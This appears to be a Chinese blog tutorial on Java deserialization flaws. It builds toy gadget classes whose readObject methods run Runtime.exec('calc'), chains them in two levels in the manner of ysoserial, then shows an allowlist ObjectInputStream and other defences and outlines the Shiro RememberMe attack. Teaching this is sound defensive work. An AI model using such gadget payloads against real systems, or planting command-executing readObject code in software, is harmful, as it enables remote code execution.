从“Hello World”到漏洞利用:用Java写一个自己的简易版ysoserial(理解Gadget链)
从零构建Java反序列化漏洞:手写简易版Gadget链
当你第一次听说Java反序列化漏洞时,是否对那些神奇的"Gadget链"感到困惑?为什么简单的对象反序列化就能触发命令执行?本文将带你从最基础的Java序列化机制开始,逐步构建一个能弹出计算器的简易漏洞链。不同于直接使用ysoserial工具,我们会从创造者的角度,用不到200行代码还原漏洞本质。适合已经掌握Java基础语法,想深入理解安全原理的开发者。
1. Java序列化机制基础
Java序列化就像把一个对象"拍扁"成字节流,而反序列化则是将这些字节"还原"成活的对象。这个机制在日常开发中常用于网络传输或持久化存储。让我们先看一个最简单的可序列化类:
import java.io.Serializable;
public class Person implements Serializable {
private String name;
public Person(String name) {
this.name = name;
}
// 标准的getter/setter省略...
}
要使类可序列化,只需实现 Serializable 标记接口。序列化和反序列化的基本操作如下:
// 序列化
Person alice = new Person("Alice");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("data.bin"));
oos.writeObject(alice);
oos.close();
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("data.bin"));
Person person = (Person) ois.readObject();
ois.close();
关键点 :当对象被反序列化时,JVM会调用该类的 readObject() 方法。如果类中没有自定义这个方法,就会使用默认实现。但如果我们重写它...
2. 危险的readObject重写
让我们修改Person类,加入自定义的 readObject 方法:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject(); // 先调用默认反序列化
System.out.println("[!] 反序列化触发: " + this.name);
}
现在当我们反序列化这个对象时,控制台会打印出警告信息。这本身无害,但设想如果这里的代码不是打印日志,而是执行系统命令...
3. 构造第一条Gadget链
真正的漏洞利用需要将多个类的操作"链式"组合起来。让我们创建一个包含Runtime.exec的简单链:
public class ExploitObject implements Serializable {
private String command;
public ExploitObject(String cmd) {
this.command = cmd;
}
private void readObject(ObjectInputStream ois) throws Exception {
ois.defaultReadObject();
Runtime.getRuntime().exec(this.command);
}
}
测试这个漏洞链:
// 生成恶意序列化数据
ExploitObject exploit = new ExploitObject("calc");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exploit.bin"));
oos.writeObject(exploit);
oos.close();
// 受害者反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("exploit.bin"));
ois.readObject(); // 计算器弹出!
这已经是一个完整的漏洞利用,但现实中很少有这么直接的案例。更常见的是通过多个类的组合间接触发命令执行。
4. 多级Gadget链构造
让我们构建一个更接近真实场景的两级调用链。首先定义两个类:
public class Gadget1 implements Serializable {
private Runnable action;
public void setAction(Runnable action) {
this.action = action;
}
private void readObject(ObjectInputStream ois) throws Exception {
ois.defaultReadObject();
this.action.run(); // 关键点:反序列化时自动执行
}
}
public class Gadget2 implements Serializable, Runnable {
private String command;
public Gadget2(String cmd) {
this.command = cmd;
}
@Override
public void run() {
try {
Runtime.getRuntime().exec(this.command);
} catch (IOException e) {
e.printStackTrace();
}
}
}
利用链的组装方式:
Gadget2 g2 = new Gadget2("calc");
Gadget1 g1 = new Gadget1();
g1.setAction(g2);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("gadget.bin"));
oos.writeObject(g1);
oos.close();
// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("gadget.bin"));
ois.readObject(); // 依然弹出计算器
这种间接调用模式正是ysoserial中各种payload的核心思路。通过精心设计的对象关系,让反序列化过程像多米诺骨牌一样触发一连串操作。
5. 防御措施与最佳实践
理解了攻击原理后,我们才能更好地防御。以下是几种常见防护方案:
白名单验证 :
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> ALLOWED_CLASSES =
Set.of("java.lang.String", "com.example.SafeClass");
protected SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (!ALLOWED_CLASSES.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt");
}
return super.resolveClass(desc);
}
}
其他防御手段 :
- 使用第三方安全库如Apache Commons IO的ValidatingObjectInputStream
- 对序列化数据添加数字签名
- 完全禁用不受信任源的序列化功能
6. 从原理看真实漏洞
理解了基础原理后,再看Shiro等框架的反序列化漏洞就更容易理解了。以Shiro RememberMe为例:
- 攻击者构造恶意序列化对象
- 使用已知AES密钥加密后作为Cookie发送
- Shiro解密后自动反序列化触发漏洞
整个过程与我们手写的Demo本质相同,只是多了加密层和框架自动处理的环节。
更多推荐

所有评论(0)